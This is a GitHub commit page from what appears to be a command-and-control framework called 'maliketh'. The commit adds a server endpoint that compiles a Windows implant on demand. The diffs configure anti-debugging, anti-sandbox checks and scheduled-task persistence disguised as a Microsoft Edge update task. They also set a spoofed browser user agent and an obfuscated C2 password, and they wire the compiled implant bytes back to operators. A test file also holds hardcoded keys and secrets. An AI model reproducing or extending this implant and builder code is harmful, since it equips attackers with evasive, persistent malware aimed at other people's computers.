Skip to content

Commit

Permalink
Implement builder on the server side
Browse files Browse the repository at this point in the history
  • Loading branch information
cbrnrd committed May 21, 2023
1 parent b773cd3 commit 917d514
Show file tree
Hide file tree
Showing 10 changed files with 85 additions and 47 deletions.
12 changes: 6 additions & 6 deletions implant/Makefile
Original file line number Diff line number Diff line change
@@ -1,24 +1,24 @@
CC=x86_64-w64-mingw32-g++
NATIVE_CC=g++
STRIP=strip
STRIP=x86_64-w64-mingw32-strip
CFLAGS=-std=c++14
LDFLAGS=-L ./bin/libsodium-win64/lib -Wl,-Bstatic -lsodium -static-libgcc -static-libstdc++ -Wl,-Bdynamic -lws2_32 -lwinhttp -lcrypt32 -ladvapi32 -lshlwapi -lkernel32 -lcabinet -lole32 -loleaut32 -ltaskschd -Wl,--as-needed
LDFLAGS=-L ./bin/libsodium-win64/lib -Wl,-Bstatic -lsodium -static-libgcc -static-libstdc++ -Wl,-Bdynamic -lws2_32 -lwinhttp -lcrypt32 -ladvapi32 -lshlwapi -lkernel32 -lcabinet -lole32 -loleaut32 -ltaskschd -lpsapi -Wl,--as-needed
OBJ_FILES=./bin/libsodium-win64/bin/libsodium-23.dll
INCLUDES=-I ./include -I ./include/sodium
BUILDER_OPTS=
BUILDER_OPTS?=
DEBUG=-DDEBUG
RELEASE_OUTFILE=implant_release.exe
RELEASE_OUTFILE?=implant_release.exe

SRCDIR := src
RELEASE_SRC_TMP_DIR := src_copy

implant:
@echo "Building implant (Debug)"
$(CC) -o implant.exe $(SRCDIR)/*.cpp -g $(DEBUG) $(INCLUDES) $(LDFLAGS) $(CFLAGS)
$(CC) -o implant.exe $(SRCDIR)/*.cpp -g $(DEBUG) $(BUILDER_OPTS) $(INCLUDES) $(LDFLAGS) $(CFLAGS)

release:
@echo "Building implant (Release)"
$(CC) -o $(RELEASE_OUTFILE) $(RELEASE_SRC_TMP_DIR)/*.cpp $(INCLUDES) $(LDFLAGS) $(CFLAGS) -O3
$(CC) -o $(RELEASE_OUTFILE) $(RELEASE_SRC_TMP_DIR)/*.cpp $(BUILDER_OPTS) $(INCLUDES) $(LDFLAGS) $(CFLAGS) -O3
$(STRIP) $(RELEASE_OUTFILE)

clean:
Expand Down
9 changes: 6 additions & 3 deletions implant/build-release.sh
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,15 +1,18 @@
#!/bin/bash

# Check if the RELEASE_OUTFILE variable is set
if [ -z "$RELEASE_OUTFILE" ]; then
RELEASE_OUTFILE=implant_release.exe
fi

# Make a copy of the src directory
cp -r src/ src_copy/

# Find all .cpp files in the copied directory and replace the text
find src_copy/ -name "*.cpp" -exec sed -i 's/DEBUG_PRINTF(/\/\/ DEBUG_PRINTF(/g' {} \;


# Build the implant
make release
BUILDER_OPTS=$BUILDER_OPTS RELEASE_OUTFILE=$RELEASE_OUTFILE make release

# Remove the copied directory
rm -rf src_copy/
rm -rf src_copy/
37 changes: 29 additions & 8 deletions implant/include/constants.h
Original file line number Diff line number Diff line change
Expand Up @@ -25,19 +25,40 @@
/****************************************/
/* Implant settings */
/****************************************/
#define INITIAL_SLEEP_SECONDS 180
#define REGISTER_MAX_RETRIES 5
#define SCHTASK_PERSIST FALSE
#define USE_ANTIDEBUG TRUE
#define USE_ANTISANDBOX TRUE
#ifndef INITIAL_SLEEP_SECONDS
#define INITIAL_SLEEP_SECONDS 180
#endif

#ifndef REGISTER_MAX_RETRIES
#define REGISTER_MAX_RETRIES 5
#endif

#ifndef SCHTASK_PERSIST
#define SCHTASK_PERSIST FALSE
#endif

#ifndef USE_ANTIDEBUG
#define USE_ANTIDEBUG TRUE
#endif

#ifndef USE_ANTISANDBOX
#define USE_ANTISANDBOX TRUE
#endif

#define C2_REGISTER_PASSWORD OBFUSCATED("SWh5bHhGOENYQWF1TW9KR3VTb0YwVkVWbDRud1RFaHc=") // Base64 encoded server auth password
#define REGISTER_USER_AGENT OBFUSCATED("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
#define SCHEDULED_TASK_NAME OBFUSCATED("MicrosoftEdgeUpdateTaskMachineUA")

#ifndef REGISTER_USER_AGENT
#define REGISTER_USER_AGENT OBFUSCATED("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)")
#endif

#ifndef SCHEDULED_TASK_NAME
#define SCHEDULED_TASK_NAME OBFUSCATED("MicrosoftEdgeUpdateTaskMachineUA")
#endif


/****************************************/
/* Actual constants */
/****************************************/
#define CONTENT_TYPE_JSON OBFUSCATED("Content-Type: application/json")

#endif // CONSTANTS_H_
#endif // CONSTANTS_H_
4 changes: 2 additions & 2 deletions implant/src/command.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
#include "rapidjson/writer.h"
#include "rapidjson/stringbuffer.h"
#include "obfuscator/MetaString.h"
#include <Lmcons.h>
//#include <Lmcons.h>
using namespace andrivet::ADVobfuscator;


Expand Down Expand Up @@ -420,4 +420,4 @@ std::string Whoami() {
DWORD userNameSize = sizeof(userName) / sizeof(userName[0]);
GetUserName(userName, &userNameSize);
return std::string(userName);
}
}
8 changes: 6 additions & 2 deletions server/Dockerfile.operator
Original file line number Diff line number Diff line change
@@ -1,10 +1,14 @@
FROM python:3.11
ADD . /app
ADD ./server /app
ADD ./implant/ /implant
WORKDIR /app
ENV DEBUG=True
ENV PORT=5000
ENV BIND=0.0.0.0
ENV WORKERS=1
RUN pip install -r requirements.txt
RUN apt update
RUN apt install g++-mingw-w64 -y
#CMD python make_db.py && python app.py --start-operator -p ${PORT} ${DEBUG}
CMD gunicorn "app:operator_app" --bind ${BIND}:${PORT} --workers ${WORKERS} --reload
# Need long timeout here for compilation of the implant
CMD gunicorn "app:operator_app" --bind ${BIND}:${PORT} --workers ${WORKERS} --reload --timeout 120
Empty file modified server/bootstrap_db.sh
100644 → 100755
Empty file.
5 changes: 3 additions & 2 deletions server/docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -54,9 +54,10 @@ services:

operator:
build:
context: .
dockerfile: Dockerfile.operator
context: ..
dockerfile: server/Dockerfile.operator
container_name: 'operator'
working_dir: '/app'
restart: always
ports:
- ${WIREGUARD_IP}:5000:5000 # For operator
Expand Down
33 changes: 19 additions & 14 deletions server/maliketh/builder/builder.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
from dataclasses import dataclass, asdict, field
from typing import Optional
from crypto.utils import random_hex
from maliketh.crypto.utils import random_hex
import subprocess
import os
import sys

# Options that can be changed (for the implant) at compile time
# These are the options that are set in the builder
Expand All @@ -21,7 +23,7 @@ def cleanup_str(s: str) -> str:
"""
return "".join([c for c in s if c.isalnum()])

@dataclass(frozen=True)
@dataclass
class BuilderOptions:
initial_sleep_seconds: int = field(default=IMPLANT_DEFAULT_BUILD_OPTIONS["initial_sleep_seconds"])
schtask_persist: bool = field(default=IMPLANT_DEFAULT_BUILD_OPTIONS["schtask_persist"])
Expand Down Expand Up @@ -128,14 +130,14 @@ def build(self) -> Optional[bytes]:

# Ensure the build options are valid
options = self._builder_options.to_dict()
if any(options.values() is None):
raise Exception("Invalid build options")
if any([type(v) == str and len(v) == 0 for v in options.values()]):
return None

# Create the compiler flags
compiler_flags = self.__create_compiler_flags()
compiler_flags = ' '.join(self.__create_compiler_flags())

# Create the compiler command
compiler_command = f"BUILDER_OPTS=\"{compiler_flags}\" ./build_release.sh"
compiler_command = f"BUILDER_OPTS=\"{compiler_flags}\" /implant/build-release.sh"

# Build the implant
try:
Expand All @@ -152,30 +154,33 @@ def __create_compiler_flags(self) -> str:
"""
for k, v in self._builder_options.to_dict().items():
if type(v) == bool:
yield f"-D{str(v).upper()}"
if type(v) == str:
yield f"-D{k.upper()}='{cleanup_str(v)}'"
yield f"-D{k.upper()}={v}"
yield f"-D{k.upper()}={str(v).upper()}"
elif type(v) == str:
yield f"-D{k.upper()}='OBFUSCATED(\\\"{cleanup_str(v)}\\\")'"
else:
yield f"-D{k.upper()}={v}"

def __build_implant(self, compiler_command: str) -> bytes:
"""
Build the implant
"""

filename = f"{random_hex(16)}.exe"
filename = f"/implant/{random_hex(16)}.exe"
compiler_command = f"RELEASE_OUTFILE={filename} {compiler_command}"

print(compiler_command, file=sys.stderr)
print(os.getcwd(), file=sys.stderr)
# Execute compiler command
subprocess.run(compiler_command, shell=True, check=True)
subprocess.run(compiler_command, shell=True, check=True, cwd='/implant')

# Read the compiled implant
with open(filename, "rb") as f:
implant = f.read()
implant_bytes = f.read()

# Delete the compiled implant
subprocess.run(f"rm {filename}", shell=True, check=True)

return implant
return implant_bytes



Expand Down
10 changes: 7 additions & 3 deletions server/maliketh/listeners/admin.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
from maliketh.crypto.utils import random_hex, random_string
from maliketh.config import OP_ROUTES
from maliketh.opcodes import Opcodes
from maliketh.builder.builder import ImplantBuilder, BuilderOptions
from functools import wraps

admin = Blueprint("admin", __name__, url_prefix=OP_ROUTES["base_path"])
Expand Down Expand Up @@ -423,7 +424,10 @@ def build_implant(operator: Operator) -> Any:
if request.json is None:
return jsonify({"status": False, "msg": "Invalid request, no JSON body"}), 400

# Get the task
task = request.json
# Get the build options
build_opts_json = request.json

builder = ImplantBuilder(operator.username)
implant_bytes = builder.with_options(BuilderOptions.from_dict(build_opts_json)).build()

# TODO implement
return jsonify({"status": True, "implant": base64.b64encode(implant_bytes).decode('utf-8')}), 200
14 changes: 7 additions & 7 deletions server/test_crypto.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,13 +29,13 @@
"name": "admin",
"c2": "localhost",
"c2_port": 5000,
"login_secret": "RtEl.usKG@+@Ey/8LU[eEqH`uVC*FC_M",
"secret": "yalsrURU0oxU+qPBSF7vv41bNX7tG3Bb8zi4caXM/is=",
"public": "7Yi3+TvHC7G8iq28p7Y2dn/0dF9XjGjRJ5K3mcHZJic=",
"signing_key": "8jE0g9YP9zX6NlmhBqUrAXlf4ovzGIPi87leZYIJHkA=",
"verify_key": "L3d1Rd5d7V3mAlLZc5I3yy/TGHXS9UuStk91hZorP9U=",
"server_pub": "Wum5IVMIbhuj6817C8UCl5BHuRHpL3QlsnuiE4yMRzw=",
"rmq_queue": "pK6K5{,LWp6OG-szU>Wg)M5i5^M&^Sxm"
"login_secret": "{.6G&En;$-z)U$USi(c$Ilo/%sjR!afT",
"secret": "S7iLVJLTWNGtDyo14hg9x1rxlJzifeD0QRk2JH0ZTg8=",
"public": "xfa6j0nN/iKPDnATDVXPCEk57MVVG+uOsl73DtlEcX0=",
"signing_key": "8xr5eIXznozGZQHPGKAIFtiAYhmtcHVfqlCcUruB0NQ=",
"verify_key": "jUDh6pLSTvtLef3EucT9wAWCWT/f+WtIqwBWZiqn6vs=",
"server_pub": "ObRCXhqntoOIESaUKaLO+6hS8YEEurtIzfBA23b7hUE=",
"rmq_queue": "@=$v^f4JIv2V1zo=)%WXjqpE6TNmTytf"
}
admin_signing_key = SigningKey(
config["signing_key"].encode("utf-8"), encoder=Base64Encoder
Expand Down

0 comments on commit 917d514

Please sign in to comment.